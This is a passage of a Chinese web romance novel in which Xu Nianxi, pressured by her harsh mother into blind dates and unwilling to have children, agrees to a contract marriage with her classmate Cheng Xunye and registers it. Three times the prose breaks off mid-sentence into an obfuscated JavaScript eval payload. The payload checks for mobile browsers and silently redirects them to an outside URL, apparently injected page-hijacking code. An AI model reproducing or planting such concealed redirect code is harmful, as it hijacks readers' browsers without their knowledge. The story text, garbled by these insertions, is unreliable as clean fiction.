现在的她,没有这个力气。 - 和相亲对象见面就在第二天早上。 王君兰很早就敲响徐念溪的房门,让她快点起来。 那会儿,徐念溪已经清醒了。 事实上,她一整晚都是清醒的。 她已经从睡不着觉,变成不需要睡眠了。 麻木地任由王君兰抓着她的手,让她护肤,让她化妆。 徐念溪对上镜子中憔悴都被妆容掩盖住的自己,忽的打了个寒战。 那一瞬间,她好像通过镜子,看到了她未来的命运。 一定是一地鸡毛,一定是持续不断的争吵。 就像王君兰和徐国超一样。 王君兰骑着电动车送她过去。 到地,进去之前,王君兰指着坐在早茶店里的男人说,这个王付亮条件不错,人看着也老实,她一定要把他拿下。 徐念溪不记得自己有没有回复,只知道自己浑浑噩噩地进去了。 是王付亮给她拉开的椅子。他是个很温和的青年男性,主动开始介绍自己的情况。 “我目前是一名小学老师,父母都是教师,三年前退休的。我在西津有两套房,还有一辆代步车,不是很好的牌子,但是够我上班用了……”他不好意思地笑了下,身上有知识家庭出来的斯文儒雅。 是鲁惟与说的,一看就是那种适合过日子的人。 比昨天的顾魏曲真诚很多,也比他好相处很多。 但徐念溪也没有想过和这种人过日子。 可能是她太悲观了。 她相信世界上会有很好的婚姻,会有很好的白头偕老的伴侣。 他们相互依偎,相互陪伴,在漫长的岁月中,因为有彼此而感到满足幸福。 但她不相信这种事会落在自己身上。 如果她和一个本就不够相爱的人有了孩子。 那孩子应该是和幼年时候的她一样。 明明有家但不想回,因为家里有无数的让人害怕的争吵。 也会千百次思考,既然这么不幸福不如意,为什么徐国超和王君兰会把她生下来。 正好王付亮说到孩子,“我家里催得比较急,我们明年能怀上孩子是最好的。而且我家希望多子多福,所以可能的话,我们要二胎以上,最好儿女双全……” 徐念溪回了神,她依旧脸色苍白,但人很坚决:“我不会生孩子的。” 王付亮讶异一瞬:“不生孩子?为什么?如果是担心孩子的抚养教育问题,这个大可以放心的……” 徐念溪摇头,示意不是这个原因。 王付亮沉默会儿,皱紧的眉松开了,认真道:“我尊重你的想法。但是不生孩子,在婚姻中是很大的挑战。” “你的母亲不会愿意、老公也不一定支持,婆婆很大可能性也会不同意。你会承受很大的压力。” “这种压力将全部施加在你身上,你一个人要对抗所有……” 可能是职业习惯,王付亮说话是小学老师特有的循循善诱。 不激烈,甚至是温和的,但能让人一眼看到未来。 不说别人。 光是王君兰,她都不会让她这样的。 在王君兰那里,生了、活了、结了、生了…… 是一个固定的循环往复,缺一不可。 王付亮走后,徐念溪一个人在早餐店坐了很久。 窗外浅薄的阳光慢慢升至最顶端,不同于夏季的灼热,冬季的阳光是金色的,像流水似的丝绸。 景色很美,但徐念溪觉得离她很远。 有时候,她感觉自己存在于这个世界,却好像又不属于这个世界。 是一种很奇怪的分离感受。 王君兰打来电话,响了几声后就挂断了。 估计是以为她这边还没结束,也有可能是老板过来了,她不方便当着老板面开小差。 但无论怎么样。 起码此时此刻,徐念溪是清净的。 再晚一点,早茶店人已经不多了,来来往往的服务员收拾桌上的碟,准备关店。 徐念溪没有再坐下去的底气,起了身。 但走出早茶店,外面冷得厉害,她站在店门口,浑身都被吹得凉透,指尖都怀疑要被冻掉了,依旧没想好要去哪里。 时常有这种时候,世界偌大,但是她不知道该去哪里。 她有家是真的,但是那个家不是她的,也是真的。 胡乱选了个方向,还没走几步,听到几声鸣笛声。 黑色轿车行驶到她跟前,车窗被摇下。 严岸泊朝她晃着胳膊:“念溪,你去哪里?我们送你。” 没等徐念溪回话,严岸泊催道:“快快快,上车。这里不让停车。” 徐念溪只好糊里糊涂地上了车。 车上不止有严岸泊,还有坐在驾驶位的程洵也。 徐念溪依次和他们打了个招呼。 严岸泊旧话重提:“你去哪里?我们送你。” “你们去哪儿?” “我们啊,我们去附中那边的火锅店。你呢?” “那我也去附中。” 反正她也没有目的地,去哪里也无所谓。 “行啊,刚好顺路。” 一路上,严岸泊都在和店长打电话,有个店员没有请假也没有和店长提离职,直接没来了,现在也联系不上他,谁都不知道现在是什么情况。 在说话声里,车慢慢开到附中那边的火锅店。 严岸泊事情还没处理完,火急火燎地下车,刚想关车门,就听程洵也说:“轻点。” 严岸泊一愣,下意识往车里看,就看到后座的徐念溪不知道什么时候闭上眼,呼吸清浅,嘴唇微张,呼出了轻微的白汽。 竟然睡着了。 严岸泊忍不住笑了下,“念溪还挺相信我们,这么不设防地就睡着了。” 言罢,他轻轻带上了车门。 - 徐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我发现,你真的挺受人喜欢的。” 高中时也是,隔三差五就有人和他表白。 程洵也对她的话受之无愧,轻轻一扬眉:“这世界上难不成有不喜欢我的人吗?” “……” 虽然话没错。 但是他这个语气。 真的。 太臭屁了。 徐念溪这下是真的不知道该说什么了,只好掩饰性地低头看手机通话记录。 除了上午9:14时,王君兰打过来,她没接的那一通电话以外,再无其他未接来电。 整个世界像把她遗忘了一样。 徐念溪收了手机,慢慢松了口气。 下午五六点,夕阳最美的点。江风轻轻吹过,堆满火烧云的天际,下方的江水像一整江的红西柚汁。 这一切安静得,简直像偷来的一样,全无半点世间纷扰。 徐念溪吹着海风,难得的感受到身体是轻盈的,灵魂是轻飘飘的。 程洵也穿好了外套,看过来:“你昨晚没休息好吗?” 说起来,她坐程洵也车的次数,总共不超过五次,可是她却在他的车里睡着两次了。 事实面前,徐念溪老老实实说了实话:“是的。今天要去相亲,所以起得很早。” “相亲?” “嗯。” 借着火烧云的昏橙光线,程洵也能看到徐念溪。 她表情说不上好,也说不上差,依旧是一贯的内敛温和,让人看不出深浅。 眉骨那一块因为刚刚的睡眠,被压出一条长长的红痕,头顶上还有几根不听话的头发往上翘。 衬得她整个人有点不伦不类的笨拙。 试图在刚睡醒,还乱糟糟的床上,进行严肃克制的政治会谈一样。 “哦。那你相得怎么样?” 可能是才睡醒,可能问话的是让她久违能睡个好觉的人,徐念溪心防没那么重,回:“不怎么样。” 光线还是不好的,程洵也嘴角上挑的弧度只有他自己知道。 “这样。” “嗯。” 简短的对话结束。 就如同仙度瑞拉,午夜十二点的钟声一敲响,她就要回到自己原本的世界一样。 徐念溪想说,天色不早了,她要回去了,今天谢谢你。 却没想到程洵也突然叫了声她的名字,“徐念溪。” 她下意识抬头:“嗯?怎么了?” 四目相对。 一切都忽明忽暗的。 程洵也的眼眸里,有一个模糊的若隐若现的,仰头看着他的自己。 “既然他不怎么样,那你考虑一下我。” 徐念溪不明所以:“什么?” 空气中有很隐秘的柑橘香,若有若无的。 程洵也看着她,看起来很镇定,一字一顿的。 但只有他自己知道,心口好像拧成一根绳,然后还希望这根绳结出一朵花。 “你不是在相亲吗?我也到了结婚的年纪。所以你要不要考虑一下我。” 可能是觉得这样不够直白,程洵也轻轻“啧”了声后,接着道: “也就是,和我结婚,行吗?” 13. 013 空气极为安静,连呼吸声都被吞没,只有晚风轻轻拨动江水的潺潺声。 这是被凭空抽走的几秒。 徐念溪愣了好一会儿,才回神,有心为这件事填补,笑了下:“这玩笑挺好笑的。” 程洵也看着她,没说话。 人的第一反应,不会骗人。 在他提出这句话之前,徐念溪没考虑和他结婚这个可能性。 在他提出后,她的第一反应也是诧异之后,便立马觉得这是玩笑。 没有半点回转的余地。 无端静止的沉默将偌大空间从他们中间开始切割,划分成泾渭分明的两边。 一边是徐念溪,一边是程洵也。 光线不明不暗,像无数片岁月光影切割下来。 程洵也看到,徐念溪似乎意识到事情不对劲,慢慢收敛了笑容。 但眉宇之间还残余着几分不可置信。 像看到地上的蚯蚓长了翅膀,在天上飞一样。 好半晌,她终于开口,声音不稳:“为什么是我?” 她和程洵也之间,怎么看怎么都不像是能结婚的关系吧。 “你会喜欢我吗?”程洵也问。 “男女之间吗?” “嗯。” “不会。” 这话徐念溪回答得很快。 从她认识程洵也以来,就清清楚楚、明明白白地知道,他和她是不一样的人,也不是她能纳入考虑的人。 天色越来越黑了,火烧云褪去,只余下铅黑,连对方的脸都看不清。 这是一段弧形的空白,让隐隐有期盼的人,尝遍苦涩,不过几秒。 程洵也慢慢垂眸:“那不就结了。你不会喜欢我,和你结婚,我们不会有多余的感情牵扯,彼此之间是纯粹的合作对象。” 合作对象…… 徐念溪有点理解,程洵也为什么和她说这句话了。 “所以这是协议结婚?应付家人催婚的?” “嗯。” 徐念溪胸口的大石总算落了地,表情也舒展下来,没刚刚的惊讶了。 她的一举一动,程洵也都看在眼里。 包括她现在的默默思忖。 徐念溪可以明显地感觉到她的世界和程洵也的不相交。 可细细分析下来,他们又有不少共通之处。 首先,他们都到了结婚的年龄,都有结婚压力。 其次,他们是老同学,知根知底,对彼此人品是信得过的。婚后不用担心对方人品问题。 最后,他们之间相处不说是和睦,但是起码也是和谐。婚后不用担心不能沟通。 这一切都能保证,他们的婚姻不会好,但是起码不会那么差。 不会像王君兰和徐国超一样,经常闹得歇斯底里。 “那我们假如结婚了,要是婚后找到了喜欢的人,可以离婚吗?”徐念溪问得试探。 “可以。” “需要生孩子吗?” “看你的。” 看我的…… 徐念溪抿紧唇:“我不想生。” 程洵也回答得斩钉截铁:“那就不生。” 徐念溪无声地松了口气。 说起来,和任何一个相亲对象结婚,也都是一场协议婚姻。 他们不是基于爱而在一起,而是因为不得不结婚而结婚。 没有爱作为调剂,婚后必然各种摩擦。 而她和程洵也结婚,虽然也没有爱,但最起码可以遵守她的意愿,不生孩子。 她也不用时时刻刻为孩子这件事,心怀忐忑。 从这个层面来说,程洵也确实是所有相亲对象中最好的一个。 可是那不是别人。 而是程洵也…… 程洵也问:“所以,你觉得怎么样?” 不知为何,他的声音放得格外轻,像怕到惊扰什么似的。 徐念溪皱眉沉默一会儿,还是慢慢摇头:“还是不用了。你是个很好的人,你值得更好的。” 这不是好人卡,而是她的真实想法。 程洵也这种人,就算面临着结婚的压力,也应该等待更好的伴侣。 他们相知相爱,偶尔也会有争吵,但是争吵之后总能解决问题。 命运如潮水涌过来,他们互相成为对方的压舱石,而后在漫长岁月里慢慢白头。 而不是和她这种人,这么草率地耗在一起。 这么一会儿的交流。 时间又往前推了不少,六点了。 “不早了,我得回去了。”徐念溪收起手机,“还有,谢谢。” 谢谢他给了她一个清静的白天。 也谢谢他愿意考虑她作为自己的结婚对象。 哪怕只是协议结婚,也是对她的一种肯定。 她不知道,她走后,程洵也在原地站了良久,才动了下身子。 天色越来越黑了,他说出口的话和漆黑的夜晚融在一起,难分难舍。 他垂着脑袋,看着慢慢流淌的江水,声音很低:“我有这么不好吗……” 所以,和那些人相亲可以。 他不行。 所以,她好不容易因为协议结婚带来的种种条件,心动了一小会儿。 立马又觉得不行。 - 徐念溪没走多久,王君兰打电话过来了。 只是在手机屏幕上看到王君兰这三个字,都能轻而易举地把徐念溪从轻松中拉出来。 一种她怎么都逃不过的疲惫又从骨子里溢出来。 “回来了吗?” “上楼了。” 话说完,电话被挂了,徐念溪走到门口时,才发现,门已经是打开的了。 门开着这是个欢迎她进去的状态,但徐念溪不愿意进去。 在门口停了一会儿,被王君兰听到动静,“在门口干嘛,快进来。” 一进来,王君兰问:“怎么样?” 徐念溪摇头。 王君兰皱紧眉,“这个也不行。有说为什么不行吗?” 徐念溪沉默着,没说话。 她无法想象,王君兰得知不行的原因是她不愿意有孩子,将会有什么样的反应。 王君兰烦躁地踱步,拖鞋踢踏声响彻整个房子。 但已经这样了,再烦躁也于事无补,她只能勉强耐住性子,安慰自己几句:“这个不行,还有下一个。” “先吃饭。” 那顿饭,徐念溪没怎么吃。 因为她知道不会有下一个。 她不愿意生孩子,对任何一个有正常观念的相亲对象来说,都是挑战。 那个晚上,徐念溪彻夜未眠,在网上看了很多套几万的房子。 她忍不住想。 如果,她有一套自己的房子,是不是就可以离王君兰远点,是不是就可以能掌握自己的婚姻。 和房东约好下周一上午去看房,徐念溪放下手机,感觉自己有了条活路。 虽然这条活路细细深究下来,也没有很活。 毕竟她的存款会被买房这件事,消耗殆尽,没有存款的日子她会焦虑得睡不着觉,会无法避免地觉得极度慌张。 这个价位的房子,也一定在某些方面有硬伤,老破小顶偏,虽然有供暖,但冬季依旧漫长等等。她住着可能会很不习惯。 但就算这样,也比就这样结婚生子好。 - 公孙修竹正看剪辑好的视频,他是个吃播,刚打卡完这家露营风烧烤店,小声问严岸泊,“洵哥今天怎么了?” 程洵也窝在椅子上,身旁摆了一圈刚喝完的酒杯。 他酒量不错,喝酒也不上脸,但是也架不住这么喝。 严岸泊摇头,示意自己也不清楚,上前一步,揽住程洵也的肩膀。 “怎么了,这是?” 程洵也喝酒的动作顿住,看严岸泊。 为了还原露营风,烧烤店都是露天的,虽然有火炉,但天气到底是冷的。 程洵也端酒杯的手被冻红了,不知道是不是他们面前的电影幕布正放枪战片,入眼都是一片血色,严岸泊怎么看怎么觉得,他眼圈也有点红。 程洵也摇头,示意自己没事。 他只是突然发现,在徐念溪那里,无论怎么样,他都不会被考虑。 明明他不比任何人差,明明她的要求他都能满足。 可总是这样,她的世界总是对他关闭着。 看不到半点希望,从高中那会儿,就是这样。 在徐念溪那里,一向觉得自己无所不能的程洵也。 第一次发现他什么都不是,什么都做不到。 这么冷的天,程洵也只穿了件宽松款的羽绒服,里面一件黑色卫衣,看上去修长挺拔。但喝闷酒的样子又颓废疏离。 没多久,就有女生过来搭讪。 程洵也情绪不高,意兴阑珊的样子越发让女生感兴趣。 围着他试探了几圈,还是不肯放弃,最后忍不住开口:“你真的不要我的号码?” 程洵也抬头,看她两秒,慢慢吐字:“要。你把你银行卡号和密码给我。” “……” 严岸泊被逗笑,噗嗤一声笑了。 女生走后,严岸泊又乐了好一会儿,才没乐了,再看程洵也,他又拿起酒杯喝闷酒。 严岸泊这人心大,看见程洵也这样,也不担心,撑他肩膀:“到底怎么了?这么不开心。和我说说,我帮你分析分析。” 他话说的是帮程洵也分析分析,语气却是贱嗖嗖的,说出来让他乐呵乐呵。 程洵也明白严岸泊的秉性,拍掉他手臂,径直起身:“不早了,我走了。” 严岸泊在后面追,“走什么啊,着急回家哭啊。” 他嗓门大,幸灾乐祸得格外明显。程洵也的背影顿了顿,却没回头。 严岸泊纳闷,一个人嘀嘀咕咕的:“怎么回事,和平日里完全不一样,难不成真难过了?” - 周一上班,徐念溪又进入到忙碌里。 年关将至,层出不穷的检查和材料,跟雨后春笋似的往外蹦。 时常都是好几份材料同一时间被要,再问,每个都急。 徐念溪刚刚初步上手,但工作量不会因为她的手生手熟而有任何变化。 连续好几天的加班到晚上十二点。 徐念溪回到家里的时候,已经凌晨一点了。 世界万籁俱寂,连星星都不见几颗。 她躺在床上,照例睡不着觉。 却也什么都不想做,只盯着天花板,等着时间过去。 不知道从什么时候开始,生活好像变得很没意思。 她没有想看的电视剧、没有想看的综艺,没有想看的小说。 没有任何想做的事,没有必须要做的事,没有想吃的东西。 唯一的念想也只是,下周一去看房。 好不容易熬到周末,徐念溪想多睡会觉,或者发会呆的,可依旧被王君兰拉着出来,和相亲对象见面。 一次又一次。 疲于奔命一样。 周天下午,又是一次基于生不生孩子的根本理念不同而带来的不欢而散。 徐念溪站在饭店门口,看着一望无际的道路。恍然中,竟觉得她的生活真的和这路一样,能一眼看到头。 她还是跟上个周末一样,没有地方可以去,还是不知道怎么和王君兰说这次相亲的结果。 还好,她明天可以去看房,可以买房。 可以给自己一个交代。 鲁惟与打来电话: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“又不怎么样?第几次了?” “徐念溪,你到底怎么回事!你怎么和别人沟通的!我和你爸当年见了一面就定下来了。” “你是觉得自己比别人特殊吗?我告诉你,你什么都不是!你明年都二十六岁了,你真当谁稀罕要你啊!你就是个没用的东西,我真是后悔生了你……” 剩下的话,徐念溪没怎么听清楚。阵阵耳鸣声从大脑骨髓往外扩散。 高分贝的刺耳声响,久久不散,好半晌徐念溪才缓过来,听到了王君兰的话。 王君兰情绪已经平静下来了,嗓音还因为刚刚的爆发而沙哑,这会儿便显得怪异。 “念溪,我这是为了你好,我年纪大了,你爸又还有别的小孩,你没找个好的对象结婚,我放心不下,死了都不能瞑目。” 好奇怪。 如果王君兰一直责怪她,她没什么感觉。 可是她说,是为了自己好,她又会觉得愧疚,极度的愧疚。 好像所有的错事都是自己造成的一样。 可是她不愿意结婚就是错事吗? 她明明做的只是想让自己快乐一点。 没有很多,也就一点点。 可是为什么都不行。 是不是她哪里不够好。 是不是她哪里做得不对,所以才会这样。 王君兰还在说:“这些东西我没跟你说,所以你不知道。小区里朱婆的女儿没结婚,朱婆天天被人问怎么养女儿的。念溪啊,你能不能就当做体谅一下我,快点结婚……” 有座山压下来,徐念溪没什么力气直立在这个世界上,做一个堂堂正正的,不被压垮的人。 只有蹲在地上,紧紧抱住自己才能好受些。 来往的人将目光投射在她身上,似乎觉得她奇怪。 她无力探究,只用最后的力气,回:“我知道了。” 挂了电话后,徐念溪才发现,手机屏幕上有斑驳的泪痕。 徐念溪努力擦了两下,屏幕水波荡漾,字都是模糊的。 她抖着指尖,拨通了程洵也的电话。 “嘟嘟嘟……”几声之后。 电话接通了,声音传出来:“哪位?” 清越中带着磁性的声音。 的确是程洵也。 “是我。” 声音出口,才发现极端嘶哑,鼻音也重,徐念溪咳嗽一声,放大音量,“是我。徐念溪。” 对面沉默下来,仅有一点呼吸声传过来。 整片天地退化成黑白两色,仅仅有一点可有可无的光亮照在徐念溪身上,像是随时随地都可以溜走一样。 过了几乎半个世纪那么久,程洵也终于开口:“有什么事吗?” 听见他声音的那一刻,徐念溪将不知道什么时候攥得发白的指尖放松下来,她吸了下鼻子,声音很轻。 “上次你说的事,还作数吗?” 可能是病急乱投医。 既然她一定要满足王君兰的期待,踏入婚姻。那她唯一能做的,就是不要孩子。 而不要孩子,对任何正常的婚姻都是一个挑战。 只有程洵也。 他说过,他们结婚的话,可以不要孩子的。 对面的呼吸声似乎停了一瞬,但很快调整过来,程洵也语调照旧,失忆似的问:“什么事?” “协议结婚的事。”徐念溪一字一顿。 她发现她其实没那么高尚,在自己的利益面前,她做不到考虑别人,成全别人。 哪怕这个人是程洵也。 她也做不到。 “如果还作数的话,我们可以见一面吗?” “谈谈结婚的事。”徐念溪说。 14. 014 他们最终定在周一上午,也就是明天上午见面。 徐念溪挂了电话,盯着屏幕还亮的手机,发了很长时间的呆。 她不知道自己的选择是对是错。 但不管是对还是错。 都改变不了她自私卑劣的现实。 希望程洵也找到喜欢的人,和喜欢的人结婚的,是她。 可让他和她见上一面,谈谈协议结婚的人,也是她。 徐念溪和房东道了歉。 她发过去“对不起”那段话的时候,莫名的,感觉自己是整个世界,最糟糕的人。 也莫名的,感觉自己是整个世界,最无助最可悲的人。 所有人都可以对她有期待,只有她不能对自己有期待。 那晚徐念溪胸口闷得像压了个千斤顶。 是她自己做出的这个决定,可也是她不断质问的自己。 这个决定是对是错? 她真的要这么草率地和一个人结婚吗? 她真的做好了准备,要和一个人度过接下来的岁月吗? 哪怕以协议结婚的形式。 她真的能融入程洵也的家庭中吗? 和她家完全不一样的家庭。 徐念溪其实见过程洵也的家人。 是他的妈妈,一位气质风风火火,但是笑起来,眼睛和嘴巴都是弯弯的女性。 高三那年,程洵也不知道为什么突然开始决定学习。 他的进步也是特别大的,短短几个月,从班级倒数变成了班级中游。 不知道是一下子学得太狠了,还是换季的原因,程洵也感冒了,请假一个星期。 那天徐念溪值日。 打扫好教室卫生,准备锁门之前,有人拦住她:“小同学,不好意思,打扰一下。你知道程洵也坐哪里吗?” 是位四十多岁的女性,穿着很飒爽的风衣,脚踩高跟鞋,说话声很干练,像是都市剧里的职业女强人。 长得和程洵也有些像,应该是他妈妈。 徐念溪指了指。 她给徐念溪道了谢。 徐念溪能看到,她在程洵也的桌兜前蹲下身,边翻找着什么,边打电话和人沟通。 手机那头应该是程洵也,他估计也有些记不清自己的作业放在哪里了,也不太记得作业到底叫什么名字。 这位阿姨一本一本翻,边给程洵也描述。高三书很多,肉眼看着,工程量就很巨大。 徐念溪犹豫两秒,还是跟着蹲下身,“阿姨,我帮你找吧。” 有她帮忙,程洵也的作业很快被找全了。 临走之前,她站起来,笑眯眯地和徐念溪道谢:“谢谢你,小同学。耽误你时间了。” 出乎意料的,这位阿姨笑起来的样子,很亲切。眼睛弯成细窄的月牙,却依旧有零碎的笑意从小月牙里往外蹦出来。 让人也情不自禁地笑了下。 徐念溪收回笑意,摇头:“没事的。” 阿姨便抱着作业往外走。 那会儿教学楼都没什么人了,安安静静的,像是漂浮在夕阳海里。 徐念溪应该锁好教室,直接走的。 可是她莫名的,跑出教室,在走廊扶着栏杆,踮着脚往下看。 能看到,夕阳渡在这位阿姨身上,她抱着书走远的样子,其实没有很特别。 但是就是让徐念溪看了很久很久。 直到再也看不到。 徐念溪收回目光,在日暮时分的空气中轻声呢喃了一句:“真好。” 很快就融化在夕阳里。 她记得,王君兰也帮她拿过作业。她也是这样和王君兰隔着手机描述的。 只是和这位阿姨的平和不一样。 王君兰翻着翻着就勃然大怒。 在电话那端指责她怎么自己不知道把书都放好,等她来拿。说这么多书,谁知道那本是那本。说她读个书怎么这么多事,尽给她添麻烦。又开始细数她用了她多少钱,生活费多少…… 声音尖利,往徐念溪耳朵里钻。 她一个人坐在医院铁质椅子上,盯着正打点滴的针头,莫名其妙地,鼻子发酸,酸得恨不得死掉。 好久才缓过来。 印象中,王君兰从来没有像这位阿姨一样,这么平静温柔过。 好像在孩子身上,倾注无数的爱都可以。 而这位阿姨是程洵也的母亲。 她将要和这位阿姨养育下,成长起来的程洵也结婚。 她真的,能做到吗? 那位阿姨还记得她吗?会满意她吗? 如果这位阿姨是这样的,那程洵也的其他家人是什么样子? 应该也是很好的,很会爱人的人吧。 也是和她完全不一样的人。 那晚徐念溪彻夜难眠,焦虑得喘不过气来。 总感觉,自己要闯入一个完全不属于自己的乌托邦世界里。 里面的每个人都被爱意环绕,所见所闻都是她从来都没见过,也没得到的。 可她还是浑身泥泞、格格不入地闯入了。 - 闹钟响了一声后,本就未眠的徐念溪立马起身关掉闹钟。 因为一夜的毫无睡意,她的胸口气闷得厉害,呼吸都是赫赫赫声,大脑更是晕眩。 但她还是强撑着起身。 临走前,又折回去,拿了户口本。 比约定地点提前了半个小时,到达早茶店。 她刚到一会儿,程洵也也到了。 他坐下的那一瞬,这一小块地方的空气好像变重了,压到人身上。 程洵也没看她,而是径直看的菜单。 徐念溪盯他会儿,轻声提醒他:“菜单…是不是拿反了?” 程洵也看向她,但也只看了一瞬,立马收回视线。 他抬着下巴,倒过来菜单,模样挺镇定道:“这是我的习惯。我得先把菜单反过来看一下,才能好好点餐。” 徐念溪不是很理解,但能尊重。 点好菜,等待上菜的功夫,正好也是最适合沟通的时间段。 只是他们俩人都报之以沉默。 最后还是程洵也先开口。 他的话语像根针,戳破两人之间快要涨破的空气。 “你想好了吗?确定要和我结婚吗?” 徐念溪捧着冒着热气的豆浆,“嗯”了一声,又说:“我确定。” 这是她目前唯一能选择的路。 却也是一条不属于她的路。 她未来一定会为此付出代价。 但此刻。 至少此刻,这是她唯一的选择。 程洵也提心吊胆一晚上的心总算收了回去,背脊微微放松了点,靠在椅子上,人也有力气开始指挥了:“那谈谈彼此的条件吧。” 徐念溪整理了一下思绪:“首先,不生孩子,你能接受吗?” “接受。” 程洵也回答得毫不犹豫,徐念溪紧绷的嘴角放松了少许。 不生孩子是她的底线。 “其次,不办婚礼。” 可能是小时候看小说电视剧那些文娱作品看多了,徐念溪一直认为婚礼是件特别浪漫唯美的事。 哪怕随着年岁渐长,她逐渐认清婚姻并不是一件足够美好的东西,但她依旧没磨灭掉对婚礼的憧憬。 而婚礼这种东西,显然不应该出现在,她和程洵也之间。 程洵也眉宇之间拧起了一个小疙瘩,想了会儿,勉为其难道,“也行吧。” “最后,等你有了喜欢的人,我们可以随时离婚。” 徐念溪依旧认为,程洵也不应该和她这种人绑在一起。 也依旧希望,他能和自己喜欢的人在一起。 程洵也这次眉毛是彻底皱起来了,“什么叫等我有喜欢的人,就随时离婚。” 徐念溪解释:“就是字面意思。当然,如果你没有喜欢的人,我们……” 她话还没说完,程洵也打断:“没有。” 徐念溪:“?” “我没有喜欢的人,”程洵也说得斩钉截铁,“所以我们不会离婚。” 徐念溪愣了两秒,点了下头:“好的。” 未来的事,没人说得清。 但最起码眼下,能过得去就可以了。这是生活给徐念溪的教训。 “我这边说完了,你呢?有什么要求?”徐念溪道。 她还是因为自己的婚姻,在这样一场交易中定了型,而觉得啼笑皆非。 却也不得不承认因为这场交易,而觉得心安了少许。 起码她争取到了,不生孩子的权利。 程洵也看着徐念溪,清晨霾色里,她垂着眼眸,长而翘的眼睫扫落出一小片阴影。 她看着又很长时间,没有休息好的样子。因为下眼睑,有很深的黑眼圈。 他移开目光,“我只有一个条件,婚后得住在一起。” 徐念溪漂浮的情绪因为这个具体而微的条件,落了地。 不同于之前的,看着就很遥远的,不生孩子、不办婚礼、有了喜欢的人可以离婚。 这个婚后同居,太近了。 近得一瞬间,让徐念溪清清楚楚地意识到,和他结婚到底意味着什么。 意味着从今以后,她将和他朝夕共处。 “当然。”徐念溪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14207258|150998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把快溢出来的不适应压下去,“这个是当然的。” 毕竟,他家人既然也在催婚,势必会希望他们的婚姻有个正常家庭的模样。 “还有别的吗?”徐念溪问,“比如我们是否需要履行夫妻生活?” 程洵也顿了下:“你需要吗?” 徐念溪想了想,“不是很需要。不过你要是需要的话,我可以配合。” 她观念并不保守,也知道男性在这方面会格外在意。 所以程洵也想要,她也可以。 程洵也上下打量她一遍,移开目光,声音平平淡淡的,“算了,我怕你占我便宜。” 徐念溪:“……” 她占他便宜。 行吧。 起码不用履行夫妻生活了。 到这里,他们已经说得差不多了。 菜也正好上了。 两个人都没什么说话的想法,沉默地吃着。 好像不约而同地,消化这个重大消息一样。 中途,有人给程洵也打了电话,他出去接。 小房间里只剩下徐念溪一个人,她一下子没了吃东西的心,放下勺子,发着呆。 虽然都已经谈好了,但她还有巨大的茫然感。 这种茫然感很奇怪。 不仅有对她自己未来的茫然,还有对程洵也这个人的茫然。 她只知道,她对不起程洵也。 程洵也很快进来了,他手机屏幕的光还亮着,显然刚打完电话:“我们什么时候去领证?” 他的话和徐念溪的,“我觉得,我还是要和你说声对不起”。 叠在一起,起了点回音。 程洵也动作顿住,缓缓回头看她:“不是吧,我就接个电话的功夫,你就反悔了?” “没有没有。” 徐念溪反应过来,她的话在这个语境里多么有歧义,连连摆手,“只是觉得,你应该和更好的人在一起的。” “所以觉得有点对不起你。” 程洵也见她没有反悔,人舒坦了,重新坐回来。轻嗤声,模样挺不屑的:“更好的人当然和更好的人在一起。” “我又不是那个更好的人。所以我就适合和你在一起。” 徐念溪愣了两秒,慢慢点头:“这样啊。” “至于领证,”徐念溪摸了摸包里的硬壳物,“要不等会就去吧。” 今早出门前,她鬼使神差地,带上了户口本。 此刻正好用得上。 - 他们吃过午饭,在民政局排队等了会儿,到他们了,窗口工作人员引导他们去拍登记证。 摄像师是位中年女性,举着相机,不断地纠正动作: “女方,笑一下,不要那么僵硬。” “女方女方,和男方靠近一点。” “男方很好……” 徐念溪边往程洵也身边挪,边下意识看了他一眼。 不知道是角度问题,还是程洵也比较擅长面对镜头。 她莫名觉得程洵也确实表情比她自然,起码带着点笑意。 跟她僵硬无措的她完全不一样。 摄像师抓拍了好一阵子,最后好不容易选出来张两个人表情都自然的,甚至连一直泾渭分明的肩膀,也因为错位,微微重合在一起。 看起来,和正常的结婚照没什么区别。 徐念溪微微松了口气,程洵也似乎也很满意,盯着看了好一会儿。 领证的速度很快,没过多长时间,两本崭新的硬质的结婚证被工作人员递到他们手里。 他们后面的一对新人请了跟拍,几个人在他们身后,热热闹闹的,甚至还分给了徐念溪喜糖。 那对新人边给边说:“同喜同喜,祝我们都百年好合。” 热热闹闹的事总有迷惑性,徐念溪左手握着他们给的喜糖,右手捏着新鲜出炉的结婚证。 和程洵也出了民政局。 寒风吹来,犹如当头一盆凉水,洗净徐念溪身上的残留的热闹气氛。 她立在原地,突然发现,原来这热闹也有自己的份,原来她的人生命运,从此改变。 回去的路上,还是程洵也送的。 一路上,他们俩都没怎么说话。 下车前,程洵也叫了她一声。 “徐念溪。” 他看着她惨白的脸色,欲言又止。 但徐念溪没看出来,还努力地勾唇笑,试图粉饰太平:“怎么了?” 可是她笑得实在难看,满满是对婚姻这件事的迷茫恐惧。 程洵也皱了下眉,又放松了,认真道:“我不吃人的。” “所以你别害怕。” 15. 015 程洵也虽然说,他不会吃人。 但对婚姻的恐惧已经刻进徐念溪的骨子里。 她为了看房,请了一天的假。 而现在,她不仅没有看房,相反拿着新鲜出炉的结婚证,就好像拿着一个,刚出锅的烫手山芋。 她不知道该怎么处理。 